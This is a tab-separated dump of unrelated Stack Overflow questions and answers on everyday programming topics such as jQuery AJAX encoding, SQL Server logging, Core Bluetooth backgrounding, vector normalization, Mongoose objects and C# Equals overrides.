38576264	0	How can I programmatically check if a Google User's profile picture isn't default? <p>A Google User's profile picture defaults to <a href="https://i.stack.imgur.com/34AD2.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/34AD2.jpg" alt="https://yt3.ggpht.com/-_fExgATRXLY/AAAAAAAAAAI/AAAAAAAAAAA/-fmo8LhN7Pg/s240-c-k-no-rj-c0xffffff/photo.jpg"></a><code>https://yt3.ggpht.com/-_fExgATRXLY/AAAAAAAAAAI/AAAAAAAAAAA/-fmo8LhN7Pg/s240-c-k-no-rj-c0xffffff/photo.jpg</code></p> <p>I want to check to see if a user has updaed their picture to something besides their default based on the URL for the image. Is that possible? Is there another way to check?</p> <p>EDIT: A URL of a google profile picture that has been set is this: <a href="https://i.stack.imgur.com/SmPuE.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/SmPuE.jpg" alt="https://yt3.ggpht.com/-zSpYe-dpPNk/AAAAAAAAAAI/AAAAAAAAAAA/EVfQSDPEeQc/s240-c-k-no-rj-c0xffffff/photo.jpg"></a> <code>https://yt3.ggpht.com/-zSpYe-dpPNk/AAAAAAAAAAI/AAAAAAAAAAA/EVfQSDPEeQc/s240-c-k-no-rj-c0xffffff/photo.jpg</code></p>
4069877	0	 <p>a good solution with ONE sql-query from <a href="http://henrik.nyh.se/2008/11/rails-jquery-sortables" rel="nofollow">http://henrik.nyh.se/2008/11/rails-jquery-sortables</a></p> <pre><code># in your model: def self.order(ids) update_all( ['ordinal = FIND_IN_SET(id, ?)', ids.join(',')], { :id =&gt; ids } ) end </code></pre>
20220180	0	Logging to problems log in eclipse <pre><code>PlatformLogUtil.logAsError(Activator.getDefault(), new Status(IStatus.ERROR, "com.sample.example",enter code here "ERROR")); </code></pre> <p>I am using above code for Logging in eclipse problems log. But it is not visible in problems log but able to see in console.</p> <p>Can any one suggest is it right what i am performing in above code or do i need to do some thing else to view in Problem Log in eclipse.</p>
40830442	0	 <p> </p> <p>Select Time : </p> <pre><code> &lt;option value="1^&lt;?php echo date("d/m/y")?&gt;;"&gt;09:00 AM&lt;/option&gt; &lt;option value="2^&lt;?php echo date("d/m/y")?&gt;;"&gt;09:20 AM&lt;/option&gt; &lt;option value="3^&lt;?php echo date("d/m/y")?&gt;;"&gt;09:40 AM&lt;/option&gt; &lt;option value="4^&lt;?php echo date("d/m/y")?&gt;;"&gt;10:00 AM&lt;/option&gt; &lt;option value="5^&lt;?php echo date("d/m/y")?&gt;;"&gt;10:20 AM&lt;/option&gt; &lt;option value="6^&lt;?php echo date("d/m/y")?&gt;;"&gt;10:40 AM&lt;/option&gt; &lt;option value="7^&lt;?php echo date("d/m/y")?&gt;;"&gt;11:00 AM&lt;/option&gt; &lt;option value="8^&lt;?php echo date("d/m/y")?&gt;;"&gt;11:20 AM&lt;/option&gt; &lt;option value="9^&lt;?php echo date("d/m/y")?&gt;;"&gt;11:40 AM&lt;/option&gt; &lt;option value="10^&lt;?php echo date("d/m/y")?&gt;;"&gt;12:00 PM&lt;/option&gt; &lt;option value="11^&lt;?php echo date("d/m/y")?&gt;;"&gt;12:20 PM&lt;/option&gt; &lt;option value="12^&lt;?php echo date("d/m/y")?&gt;;"&gt;12:40 PM&lt;/option&gt; &lt;option value="13^&lt;?php echo date("d/m/y")?&gt;;"&gt;01:00 PM&lt;/option&gt; &lt;option value="14^&lt;?php echo date("d/m/y")?&gt;;"&gt;01:20 PM&lt;/option&gt; &lt;option value="15^&lt;?php echo date("d/m/y")?&gt;;"&gt;01:40 PM&lt;/option&gt; &lt;option value="16^&lt;?php echo date("d/m/y")?&gt;;"&gt;02:00 PM&lt;/option&gt; &lt;option value="17^&lt;?php echo date("d/m/y")?&gt;;"&gt;02:20 PM&lt;/option&gt; &lt;option value="18^&lt;?php echo date("d/m/y")?&gt;;"&gt;02:40 PM&lt;/option&gt; &lt;option value="19^&lt;?php echo date("d/m/y")?&gt;;"&gt;03:00 PM&lt;/option&gt; &lt;option value="20^&lt;?php echo date("d/m/y")?&gt;;"&gt;03:20 PM&lt;/option&gt; &lt;option value="21^&lt;?php echo date("d/m/y")?&gt;;"&gt;03:40 PM&lt;/option&gt; &lt;option value="22^&lt;?php echo date("d/m/y")?&gt;;"&gt;04:00 PM&lt;/option&gt; &lt;option value="23^&lt;?php echo date("d/m/y")?&gt;;"&gt;04:20 PM&lt;/option&gt; &lt;option value="24^&lt;?php echo date("d/m/y")?&gt;;"&gt;04:40 PM&lt;/option&gt; &lt;option value="25^&lt;?php echo date("d/m/y")?&gt;;"&gt;05:00 PM&lt;/option&gt; &lt;option value="26^&lt;?php echo date("d/m/y")?&gt;;"&gt;05:20 PM&lt;/option&gt; &lt;option value="27^&lt;?php echo date("d/m/y")?&gt;;"&gt;05:40 PM&lt;/option&gt; &lt;option value="28^&lt;?php echo date("d/m/y")?&gt;;"&gt;06:00 PM&lt;/option&gt; &lt;option value="29^&lt;?php echo date("d/m/y")?&gt;;"&gt;06:20 PM&lt;/option&gt; &lt;option value="30^&lt;?php echo date("d/m/y")?&gt;;"&gt;06:40 PM&lt;/option&gt; &lt;option value="31^&lt;?php echo date("d/m/y")?&gt;;"&gt;07:00 PM&lt;/option&gt; &lt;option value="32^&lt;?php echo date("d/m/y")?&gt;;"&gt;07:20 PM&lt;/option&gt; &lt;option value="33^&lt;?php echo date("d/m/y")?&gt;;"&gt;07:40 PM&lt;/option&gt; &lt;option value="34^&lt;?php echo date("d/m/y")?&gt;;"&gt;08:00 PM&lt;/option&gt; &lt;option value="35^&lt;?php echo date("d/m/y")?&gt;;"&gt;08:20 PM&lt;/option&gt; &lt;option value="36^&lt;?php echo date("d/m/y")?&gt;;"&gt;08:40 PM&lt;/option&gt; &lt;option value="37^&lt;?php echo date("d/m/y")?&gt;;"&gt;09:00 PM&lt;/option&gt; &lt;option value="38^&lt;?php echo date("d/m/y")?&gt;;"&gt;09:20 PM&lt;/option&gt; &lt;option value="39^&lt;?php echo date("d/m/y")?&gt;;"&gt;09:40 PM&lt;/option&gt; &lt;/select&gt; </code></pre> function updateCouponTime(passedValue){ myArray=passedValue.split('^'); document.getElementById('time_id').value=myArray[0]; document.getElementById('date').value=myArray[1]; }
20460401	0	 <p>Instead of using <code>.</code>, use a character class matching any character other than <code>|</code>:</p> <pre><code>^.+\|([^|]+)$ </code></pre>
3494430	0	 <p>After I posted my question, I tried a variant of the code the OP of the other question showed. It works for me. Here it is:</p> <pre><code>- (void) displaySelection:(Selection *)aSet { if (aSet != self.currentSelection) { self.currentSelection = aSet; NSFetchRequest *fetchRequest = [[self fetchedResultsController] fetchRequest]; NSPredicate *predicate = nil; NSEntityDescription *entity = nil; entity = [NSEntityDescription entityForName:@"DocInSelection" inManagedObjectContext:managedObjectContext]; predicate = [NSPredicate predicateWithFormat:@"selection.identifier like %@", currentSelection.identifier]; [fetchRequest setEntity:entity]; [fetchRequest setPredicate:predicate]; [NSFetchedResultsController deleteCacheWithName:@"Root"]; NSError *error = nil; if (![[self fetchedResultsController] performFetch:&amp;error]) { NSLog(@"Unresolved error %@, %@", error, [error userInfo]); abort(); } } [self.tableView reloadData]; } </code></pre>
30786737	0	 <p>BitConverter class should help you.</p> <p><a href="https://msdn.microsoft.com/en-us/library/a5be4sc9(v=vs.110).aspx" rel="nofollow">BitConverter.GetBytes</a></p> <p>Something like this:</p> <pre><code>float f = 1234.5678F; var bytes = BitConverter.GetBytes(f); var result = string.Format("0x{0:x}{1:x}{2:x}{3:x}", bytes[0], bytes[1], bytes[2], bytes[3]); </code></pre>
15413714	0	 <p>try using:</p> <pre><code>RAISERROR('your message here!!!',0,1) WITH NOWAIT </code></pre> <p>you could also try switching to "Results to Text" it is just a few icons to the right of "Execute" on the default tool bar.</p> <p>With both of the above in place, and you still you do not see the messages, make sure you are running the same server/database/owner version of the procedure that you are editing. Make sure you are hitting the RAISERROR command, make it the first command inside the procedure.</p> <p>If all else fails, you could create a table:</p> <pre><code>create table temp_log (RowID int identity(1,1) primary key not null , MessageValue varchar(255)) </code></pre> <p>then:</p> <pre><code>INSERT INTO temp_log VALUES ('Your message here') </code></pre> <p>then after running the procedure (provided no rollbacks) just <code>select</code> the table.</p>
11060872	0	 <p>Answer from Symform:</p> <p>Thank you for contacting Symform support. I understand that you are needing the instructions to remove Symform from your Mac.</p> <p>Here is the information:</p> <ol> <li><p>Access the Terminal program on your Mac, by going to the search tool in the upper right-hand corner, and entering in Terminal.</p></li> <li><p>Once Terminal is open, enter in the following command, depending on what you want to do:</p></li> </ol> <p>Normal uninstall will only stop the services and remove the software. It will leave the service configuration and log files in place.</p> <p>sudo /Library/Application\ Support/Symform/scripts/uninstall</p> <p>To completely remove all aspects of the Symform software, configuration, and logs, a purging operation is available as well. This will remove any synchronization and contribution supporting files and directories too.</p> <p>sudo /Library/Application\ Support/Symform/scripts/uninstall --purge</p> <ol> <li>You will need to enter in your Mac password when running either of these commands.</li> </ol>
20345263	0	 <p>Signals that an end of file or end of stream has been reached unexpectedly during input. This exception is mainly used by data input streams to signal end of stream. Note that many other input operations return a special value on end of stream rather than throwing an exception.</p> <p>and you can see that as below <a href="http://docs.oracle.com/javase/7/docs/api/java/io/EOFException.html" rel="nofollow">http://docs.oracle.com/javase/7/docs/api/java/io/EOFException.html</a></p>
6214523	0	Parsing URL jQuery AJAX form <p>Basically i'm trying to send a video along with other info through jQuery to PHP to be written to a txt file to be read later.</p> <p>There is a way of inputting a video url into this. I've got everything working except one thing.</p> <p>If i put this through: <a href="http://www.youtube.com/watch?v=g1lBwbhlPtM" rel="nofollow">http://www.youtube.com/watch?v=g1lBwbhlPtM</a> it works fine.</p> <p>but this: <a href="http://www.youtube.com/watch?v=g1lBwbhlPtM&amp;feature=feedu" rel="nofollow">http://www.youtube.com/watch?v=g1lBwbhlPtM&amp;feature=feedu</a> doesn't.</p> <p>I've done some tests and it's because when i send the second url through &amp;feature=feedu gets read as a separate $_POST value.</p> <p>This is the problem:</p> <pre><code> var dataString = 'title='+title+'&amp;content='+content+'&amp;date='+date+'&amp;Submit=YES'; </code></pre> <p>because its reading like </p> <p><code>var dataString = 'title='+title+'&amp;content='+IMAGES, TEXT AND STUFF+'&amp;feature=feedu OTHER IMAGES AND STUFF&amp;date='+date+'&amp;Submit=YES';</code></p> <p>it's out of a textarea that could include images or text and stuff so im looking for something like htmlspecialchars() to sort out that &amp; before sending it through ajax</p> <p>Any ideas how to solve this?</p> <p>EDIT: Here's the full code that's the problem:</p> <pre><code> var title = $('input#title').val(); var content = $('textarea#content').val(); var date = $('input#date').val(); var dataString = 'title='+title+'&amp;content='+content+'&amp;date='+date+'&amp;Submit=YES'; //alert (dataString);return false; $.ajax({ type: "POST", url: "./inc/php/file.php", dataType: "json", data: dataString, success: function(data) { if(data.error == true){ $('.errordiv').show().html(data.message); }else{ $('.errordiv').show().html(data.message); $(':input','#addstuff') .not(':button, :submit, :reset, :hidden') .val('') .removeAttr('checked') .removeAttr('selected'); } }, error: function(data) { $('.errordiv').html(data.message+' --- SCRIPT ERROR'); } }) return false; </code></pre> <p>if content equals:</p> <pre><code>&amp;content= &lt;br&gt;Text 1&lt;br&gt; &lt;img&gt;http://someimage.com/image.jpg&lt;/img&gt; &lt;br&gt; Text2&lt;br&gt; &lt;vid&gt;http://www.youtube.com/watch?v=isDIHIHI&amp;feature=feedu&lt;/vid&gt; &lt;br&gt;Text 3&lt;br&gt; </code></pre> <p>the content variable gets put through the ajax call as:</p> <pre><code>&amp;content= &lt;br&gt;Text 1&lt;br&gt; &lt;img&gt;http://someimage.com/image.jpg&lt;/img&gt; &lt;br&gt; Text2&lt;br&gt; &lt;vid&gt;http://www.youtube.com/watch?v=isDIHIHI </code></pre> <p>with an extra variable that is</p> <pre><code>&amp;feature=feedu&lt;/vid&gt; &lt;br&gt;Text 3&lt;br&gt; </code></pre> <p>So how do u stop the ajax reading &amp;feature as a separate $_POST variable?</p>
37583824	0	How to integrate Citrus payment gateway without asking for login to user in ios? <p>Hope you are doing well.</p> <p>I am trying to integrate CitrusPay SDK to my iPhone application. How can i integrate CitrusPay Direct payment without asking user to login to citrus pay.</p> <p>I want to give options to user like :</p> <ol> <li>Pay using Citrus Wallet</li> <li>Pay using Creditcard/Debit Card</li> <li>Pay using Net banking</li> </ol> <p>If user would like to pay using Citrus Wallet then i will ask user to login to citrus using their credentials. If they will go with 2nd or 3rd option like pay using Credit Card/Debit Card or net banking then they don't need to login.</p> <p>I want to implement this function in my app using CitrusPay SDK. Can you point out me for the code of this? </p> <p>I already have a demo of the Citrus pay and i already checked it.</p> <p><a href="https://github.com/citruspay/citruspay-ios-sdk" rel="nofollow">https://github.com/citruspay/citruspay-ios-sdk</a></p> <p>I downloaded the demo from the above link.</p> <p>Please help me out for this.</p>
7965923	0	 <p>When changing the data types from xts to numeric, the problem went away and the speed of processing increased dramatically. (seems obvious in hindsight) </p>
32865403	0	My system sound in Swift is not played <p>This what I use:</p> <pre><code>if let filePath = NSBundle.mainBundle().pathForResource("Aurora", ofType: "aiff") { //it doesn't gets here let fileURL = NSURL(fileURLWithPath: filePath) var soundID:SystemSoundID = 0 AudioServicesCreateSystemSoundID(fileURL, &amp;soundID) AudioServicesPlaySystemSound(soundID) } </code></pre> <p>How to do this? I've read a lot about this, but nothing has worked.</p> <p>Testing on a real device.</p>
29702605	0	 <p>This is the shortest one.</p> <pre><code>var arr = tF.join(' ').split(/\s+/); </code></pre>
18760926	0	 <p>With Core Bluetooth background communication must be implemented either with characteristic change notifications or indications. You are keeping the app running for too long after being brought to background and iOS is killing it forcefully. I suppose you are using the <code>beginBackgroundTaskWithExpirationHandler:</code> method to keep some timers running. This doesn't work for long periods of time. The limit is around 10 minutes but it may depend on other factors too.</p> <p>The <a href="https://developer.apple.com/library/ios/documentation/NetworkingInternetWeb/Conceptual/CoreBluetooth_concepts/CoreBluetoothBackgroundProcessingForIOSApps/PerformingTasksWhileYourAppIsInTheBackground.html#//apple_ref/doc/uid/TP40013257-CH7-SW1" rel="nofollow">Core Bluetooth Programming Guide</a> contains a pretty concise description of how backgrounding has to be handled. Practically, your app needs to subscribe on either notifications or indications of the heart rate characteristic and react to it only when the callbacks happen. The app should keep running when backgrounded only if it is doing some uninterruptible task, e.g. non-resumable network operations.</p>
2582431	0	 <p>Change <code>while(infile.is_open())</code> to <code>while(infile)</code>. Then you can remove the redundant eof test at the end.</p> <p>It's still open even if you've encountered an error or reached the end of file. It's likely you are in a scenario where failbit is getting set (getline returns nothing), but eof has not been encountered, so the file never gets closed, so your loop never exits. Using the <code>operator bool</code> of the stream gets around all these problems for you.</p>
15393994	0	Data is automatically deleted from SQL Server CE <p>I am trying to write an application in VS2010 c# (Winforms) with SQL Server CE 3.5 as backend. I used the transactions for insertion of data in a table, while testing I inserted 18 rows and everything was OK.</p> <p>But on the next day I found some rows missing, and when I tried to insert new rows, some primary key related error occurred. When I opened the database in SSMS and tried <code>@@Identity</code>, it returned the number 19.</p> <p>I inserted a value into the database from SSMS and when I tried the application everything worked fine. Now the identity column contains values from 1 to 14 and from 19 to 25 (15 to 18 are missing).</p> <p>Now I ask you experts to kindly help me to figure out the reason behind this automatic deletion of data.</p> <p>Thanks a lot </p>
15664919	0	 <p>This is a solution I got for you.</p> <p>Is that what you were looking for?</p> <p><a href="http://jsfiddle.net/migontech/YYWQx/6/" rel="nofollow">http://jsfiddle.net/migontech/YYWQx/6/</a></p> <pre><code>$.fn.stars = function() { return $(this).each(function() { // Get the value var val = parseFloat($(this).html()); // Make sure that the value is in 0 - 5 range, multiply to get width var size = Math.max(0, (Math.min(5, val))) * 16; // Create stars holder var $span = $('&lt;span /&gt;').width(size); // Replace the numerical value with stars $(this).html($span); }); } $(function() { $('div.star-rating strong').stars(); }); </code></pre>
9884027	0	 <p>You are possibly populating the dropdown in the Page_Load function and you do not have a Page.IsPostBack check. Thus everytime the list is populated again. Change the population code to something like:</p> <pre><code> protected void Page_Load(object sender, EventArgs e) { if (!Page.IsPostBack) { LoadTable(); } } </code></pre>
3691946	0	 <pre><code>vector&lt;int&gt; v; size_t len = v.size; nth_element( v.begin(), v.begin()+len/2,v.end() ); int median = v[len/2]; </code></pre>
27904177	0	uiimageview animation stops when user touches screen <p>I have a UImageview with animated image. i am adding the uiimageview in code and its a part of a CollectionViewCell When the user touches the cell the animation stops, why does this happen?</p> <p>code:</p> <pre><code> var images: [UIImage] = [] for i in 0...10 { images.append(UIImage(named: "image\(i)")) } let i = UIImageView(frame: CGRect(x: xPos, y: yPos, width: 200, height: 200)) i.animationImages = images i.animationDuration = 0.5 i.startAnimating() i.contentMode = UIViewContentMode.Center i.userInteractionEnabled = false self.addSubview(i) </code></pre>
34464001	0	Refreshing PayPal OAuth token <p>I develop payout system which is based on PayPal's payouts. To make a call to PayPal API it is neccessary to get OAuth token as described in </p> <p><a href="https://developer.paypal.com/docs/integration/direct/make-your-first-call/" rel="nofollow">https://developer.paypal.com/docs/integration/direct/make-your-first-call/</a></p> <p>I found that repeatedly calls to get OAuth token don't refresh it (the token gets the same, expiration time decreases).</p> <p>Is there any way to force OAuth token refresh?</p>
1278405	0	 <p>You might consult these other similar questions:</p> <ul> <li><a href="http://stackoverflow.com/questions/1019723/iphone-create-sqlite-database-at-runtime">"iPhone create SQLite database at runtime?"</a></li> <li><a href="http://stackoverflow.com/questions/716839/wheres-the-best-sqlite3-tutorial-for-iphone-sdk">"Where’s the best sqlite3 tutorial for iPhone-SDK?"</a></li> <li><a href="http://stackoverflow.com/questions/487339/add-sqlite-database-to-iphone-app">"Add SQLite Database to iphone app"</a></li> </ul> <p>Additionally, the SQLiteBooks sample code that Apple provides takes you step-by-step through the process of copying an existing database from the resources directory of your application bundle to the application's Documents directory. It is a little more complex when working with the database, however.</p> <p>Mobile Orchard also has a <a href="http://www.mobileorchard.com/iphone-sqlite-tutorials-and-libraries/" rel="nofollow noreferrer">list of resources</a> for SQLite on the iPhone.</p> <p>The source code to my iPhone application <a href="http://www.sunsetlakesoftware.com/molecules" rel="nofollow noreferrer">Molecules</a> is available, and for now it uses SQLite as a data store (that will be changing to Core Data soon). You may be able to pick something up from that.</p>
11655212	0	 <p>I think the confusion comes from the idea of normalizing "a value" as opposed to "a vector"; if you just think of a single number as a value, normalization doesn't make any sense. Normalization is only useful when applied to a vector.</p> <p>A vector is a sequence of numbers; in 3D graphics it is usually a coordinate expressed as <code>v = &lt;x,y,z&gt;</code>.</p> <p>Every vector has a <em>magnitude</em> or <em>length</em>, which can be found using Pythagora's theorem: <code>|v| = sqrt(x^2 + y^2 + z^2)</code> This is basically the length of a line from the origin <code>&lt;0,0,0&gt;</code> to the point expressed by the vector.</p> <p>A vector is <em>normal</em> if its length is 1. That's it!</p> <p>To normalize a vector means to change it so that it points in the same direction (think of that line from the origin) but its length is one.</p> <p>The main reason we use normal vectors is to represent a direction; for example, if you are modeling a light source that is an infinite distance away, you can't give precise coordinates for it. But you can indicate where to find it from a particular point by using a normal vector.</p>
33090205	0	 <p>I'm running ubuntu linux 14.04.</p> <p>I entered, on the command line, </p> <pre><code>objdump -d untitled </code></pre> <p>where 'untitled' is an executable file</p> <p>It ran successfully with out any 'file truncated' message.</p> <p>I entered, on the command line,</p> <pre><code>objdump -d untitled.o </code></pre> <p>where 'untitled.o' is an object file</p> <p>It ran successfully with out any 'file truncated' message.</p> <p>Therefore, I strongly suspect the 'bufbomb' file is not a valid executable or object file.</p>
24793803	0	How to pool a thrift client (or at least reuse the tcp connections) in java <p>Is there a standard library for thrift in java that will facilitate the reuse of tcp connections for many rpcs that are being issued. It seems that thrift does not support pipelining requests on a single connection (though correct me if I'm wrong), but it seems like it would be greatly beneficial to be able to reuse a thrift tcp connection when one rpc is done with it. How can I achieve this most easily?</p>
16408796	0	Process Builder cannot find the path specified, using AppData folder <p>This is probably a simple question, I'm fairly new to Java but in my search I haven't been able to figure out why exactly this code doesn't work.</p> <pre><code>String execLoc = ((System.getenv("APPDATA"))+"\\ARcraft\\exec\\"); ProcessBuilder getCrafting = new ProcessBuilder("Minecraft.exe"); getCrafting.directory(new File(execLoc)); getCrafting.start(); </code></pre> <p>When I run this, I get back:</p> <pre><code>Cannot run program "Minecraft.exe" (in directory "C:\Users\andrew\AppData\Roaming\ARcraft\exec"): CreateProcess error=2, The system cannot find the file specified </code></pre> <p>I've read other posts with similar issues, and tried a variety of solutions but the fixes that they use don't seem to do anything for me. I've confirmed the file is present and that it runs correctly when executed from the directory being fed back by the program when pasted in command prompt.</p>
31955993	0	When cant a object be added to an object <p>Trying to add a value to a object. The object was generated from the start by a database request, containing a number of entires. A sample entry (say number 0) looks as follows:</p> <pre><code>{ _id: 55c8a069cca746f65c98369d, fulltext: 'Finance', alias: 'Finance', level: 0, fullurl: 'http://v-ghost.port0.org:808/dbfswiki/index.php/FMP', __v: 0, _parrent: [] } </code></pre> <p>Now I want to add an additional array to this object. An empty structure where there will be a number of other listings. I started by using <code>.push</code>, but the object does not have a <code>push</code> function. This one has done a few rounds, so latest version below:</p> <p>The structure I do want is:</p> <pre><code> { _id: 55c8a069cca746f65c98369d, fulltext: 'Finance', alias: 'Finance', level: 0, fullurl: 'http://v-ghost.port0.org:808/dbfswiki/index.php/FMP', __v: 0, _parrent: [] childs: [] } </code></pre> <p>I am not putting anything into childs at this point <em>(childs because children seems to reserved, and while it might work, don't really want to try changing it when the code is already broken)</em>, basically just adding an empty slot to put similar objects into as part of later processing. <strong>Really weird</strong> Changed the code as follows: console.log ("Root record now " + rootRecord); rootRecord.childs = 1; console.log("Alias is " + rootRecord.alias); console.log("Child is " + rootRecord.childs); console.log("The complete structure is: \n"+rootRecord)</p> <p>And I get the following output</p> <pre><code>Alias is Finance Child is 1 The complete structure is: { _id: 55c8a069cca746f65c98369d, fulltext: 'Finance', alias: 'Finance', level: 0, fullurl: 'http://v-ghost.port0.org:808/dbfswiki/index.php/FMP', __v: 0, _parrent: [] } </code></pre> <p>So I can read rootRecord.childs, but its not listed, its almost as it is a "hidden" variable somehow.</p> <p><strong>The offending code</strong></p> <pre><code> console.log("Creating root structure"); var roots = docs[doc]; console.log("Root from docs: \n" + docs[doc]) console.log("Sealed: " + Object.isSealed(docs[doc])); console.log("Frozen " + + Object.isFrozen(docs[doc])); console.log("Is Extendable: " + isExtendable(docs[doc])); console.log("Is Extensible(es6): " + Object.isExtensible(docs[doc])); for (var root in docs[doc]){ var rootRecord = docs[doc][root]; console.log ("Root record now " + rootRecord); rootRecord.childs = []; console.log("Now its " + rootRecord); returnStructure.push(rootRecord); console.log("returnStructure is now:\n" + returnStructure); console.log("And first id is " + returnStructure[0]['_id']) } </code></pre> <p>Gives the following output:</p> <pre><code>Creating root structure Root from docs: { _id: 55c8a069cca746f65c98369d, fulltext: 'Finance', alias: 'Finance', level: 0, fullurl: 'http://v-ghost.port0.org:808/dbfswiki/index.php/FMP', __v: 0, _parrent: [] } Sealed: false Frozen 0 Is Extendable: true Is Extensible(es6): true Root record now { _id: 55c8a069cca746f65c98369d, fulltext: 'Finance', alias: 'Finance', level: 0, fullurl: 'http://v-ghost.port0.org:808/dbfswiki/index.php/FMP', __v: 0, _parrent: [] } Now its { _id: 55c8a069cca746f65c98369d, fulltext: 'Finance', alias: 'Finance', level: 0, fullurl: 'http://v-ghost.port0.org:808/dbfswiki/index.php/FMP', __v: 0, _parrent: [] } returnStructure is now: { _id: 55c8a069cca746f65c98369d, fulltext: 'Finance', alias: 'Finance', level: 0, fullurl: 'http://v-ghost.port0.org:808/dbfswiki/index.php/FMP', __v: 0, _parrent: [] } And first id is 55c8a069cca746f65c98369d </code></pre> <p><strong>Full source code</strong></p> <pre><code>var mongoose = require("mongoose"); var morgan = require('morgan'); // log requests to the console (express4) var methodOverride = require('method-override'); // simulate DELETE and PUT (express4) var async = require('async'); mongoose.connect('mongodb://localhost/ResourceProfiles'); //var ObjectId = require('mongoose').ObjectID; var isExtendable = require('is-extendable'); var Schema = mongoose.Schema, ObjectId = Schema.ObjectId; var Profile = mongoose.model('Profile', { alias: String, img: String, name: String, summary: String, CV: String, keys: String, avail: String, agent: String, __v: {type: Number, select: false}, comp: { type: Number, default: 0 }, comn: { type: Number, default: 0 }, intp: { type: Number, default: 0 }, intn: { type: Number, default: 0 }, orgp: { type: Number, default: 0 }, orgn: { type: Number, default: 0 }, swep: { type: Number, default: 0 }, swen: { type: Number, default: 0 }, pssp: { type: Number, default: 0 }, pssn: { type: Number, default: 0 }, pep: { type: Number, default: 0 }, pen: { type: Number, default: 0 }, gtemp: { type: Number, default: 0 }, gtemn: { type: Number, default: 0 } }); var Skill = mongoose.model('Skill', { alias: String, fulltext: { type: String , required: true , unique: true }, fullurl: String, level: Number, _parrent: [{ type: ObjectId, ref: 'Skill'}], }) console.log("Lets see if we can't figure out this one once and for all"); var queries= []; var maxLevels = 1; [0,1,2,3,4].forEach(function(i){ console.log("Looking for "+ i) queries.push(function (cb) { console.log("Seaching for "+ i) Skill.find({level: i}).exec(function (err, docs) { if (err) { throw cb(err); } // do some stuff with docs &amp; pass or directly pass it cb(null, docs); }); }); }) console.log("All requests generated"); async.parallel(queries, function(err, docs) { // if any query fails if (err) { throw err; } var returnStructure = []; console.log("This is what we got back") for (var doc in docs){ if ( docs[doc].length === 0 ){ console.log("No entries in level " + doc) } else { console.log("Processing " + docs[doc].length + " for level " + doc) if ( doc === "0" ) { console.log("Creating root structure"); var roots = docs[doc]; console.log("Root from docs: \n" + docs[doc]) console.log("Sealed: " + Object.isSealed(docs[doc])); console.log("Frozen " + + Object.isFrozen(docs[doc])); console.log("Is Extendable: " + isExtendable(docs[doc])); console.log("Is Extensible(es6): " + Object.isExtensible(docs[doc])); for (var root in docs[doc]){ var rootRecord = docs[doc][root]; console.log ("Root record now " + rootRecord); rootRecord.childs = []; console.log("Now its " + rootRecord); returnStructure.push(rootRecord); console.log("returnStructure is now:\n" + returnStructure); console.log("And first id is " + returnStructure[0]['_id']) } /*} else if ( doc === "1"){ var skills = docs[doc]; for (var skill in skills){ console.log("Need to find " + skills[skill].alias + " parrent " + skills[skill]._parrent); for (var root in returnStructure) { if ( returnStructure[root]["_id"].toString() === skills[skill]["_parrent"].toString()){ console.log("Found parrent " + returnStructure[root].alias); var newSkill = []; var childs = { childs: {}}; newSkill.push(skills[skill]); newSkill.push(childs); console.log("This is it " + returnStructure); returnStructure[root].childs.push(newSkill); } } console.log(returnStructure); } } else if ( doc === "2"){ var skills = docs[doc]; for (var skill in skills){ console.log("Need to find " + skills[skill].alias + " parrent " + skills[skill]._parrent); for (var root in returnStructure){ //var parrents= returnStructure[root].childs; for (var parrent in returnStructure[root].childs){ console.log("Lets compare \n" + returnStructure[root].childs[parrent]._id + "\n" + skills[skill]._parrent); if( returnStructure[root].childs[parrent]._id.toString() === skills[skill]["_parrent"].toString() ){ console.log("Hello found " + returnStructure[root].childs[parrent].childs); skills[skill].childs = []; console.log(skills[skill]) returnStructure[root].childs[parrent].childs.push(skills[skill]) } } } } */ } // } } } }) </code></pre>
34975405	0	 <p>You could try this code to obtain the machine epsilon for <code>float</code> values:</p> <pre><code>#include&lt;iostream&gt; #include&lt;limits&gt; int main(){ std::cout &lt;&lt; "machine epsilon (float): " &lt;&lt; std::numeric_limits&lt;float&gt;::epsilon() &lt;&lt; std::endl; } </code></pre>
10648709	0	 <p>I used RelayCommands and this has a constructor where you can create a canExecute Predicate and then if it returns false the bound button will be disabled automatically.</p> <p>On the delegate command you should rewrite the CantDoAnything() method to represent your enable and disable logic. And the binding you should simply bind to the Command.</p> <p><a href="http://msdn.microsoft.com/en-us/library/ff654427" rel="nofollow">DelegateCommand constructor on MSDN</a> </p> <p><a href="http://stackoverflow.com/questions/7350845/canexecute-logic-for-delegatecommand">DelegateCommand CanExecute BugFix</a></p>
22949145	0	 <p>You can make the database sort for you! </p> <p><code>Product.order(name: :asc, status: :desc)</code></p> <p>Check out the guide here <a href="http://guides.rubyonrails.org/active_record_querying.html#ordering" rel="nofollow">http://guides.rubyonrails.org/active_record_querying.html#ordering</a> for more information</p>
5901406	0	C# -- Is this checking necessary " obj is Person && obj != null" <p>I saw the following code,</p> <pre><code>public override bool Equals(object obj) { // From the book http://www.amazon.co.uk/Pro-2010-NET-4-0-Platform/dp/1430225491 // Page 254! if (obj is Person &amp;&amp; obj != null) ... } </code></pre> <p>Based on my understanding, I think the code should be rewritten as follows:</p> <pre><code>public override bool Equals(object obj) { if (obj is Person) ... } </code></pre> <p>Is that correct?</p> <p>Based on <a href="http://msdn.microsoft.com/en-us/library/scekt9xw%28v=vs.80%29.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/scekt9xw%28v=vs.80%29.aspx</a></p> <p><em>An is expression evaluates to true if the provided expression is non-null, and the provided object can be cast to the provided type without causing an exception to be thrown.</em> </p> <p>I think the extra checking for null is NOT necessary at all. In other words, that code "obj != null" should never be hit at all.</p> <p>Thank you</p> <p>// Updated //</p> <pre><code>using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace ConsoleApplication2 { class Employee { public static void CheckIsEmployee(object obj) { if (obj is Employee) { Console.WriteLine("this is an employee"); } else if (obj == null) { Console.WriteLine("this is null"); } else { Console.WriteLine("this is Not an employee"); } } } class NotEmployee { } class Program { static void Main(string[] args) { Employee e = new Employee(); Employee.CheckIsEmployee(e); Employee f = null; Employee.CheckIsEmployee(f); NotEmployee g = new NotEmployee(); Employee.CheckIsEmployee(g); } } } </code></pre> <p>Output results:</p> <pre><code>this is an employee this is null this is Not an employee </code></pre>
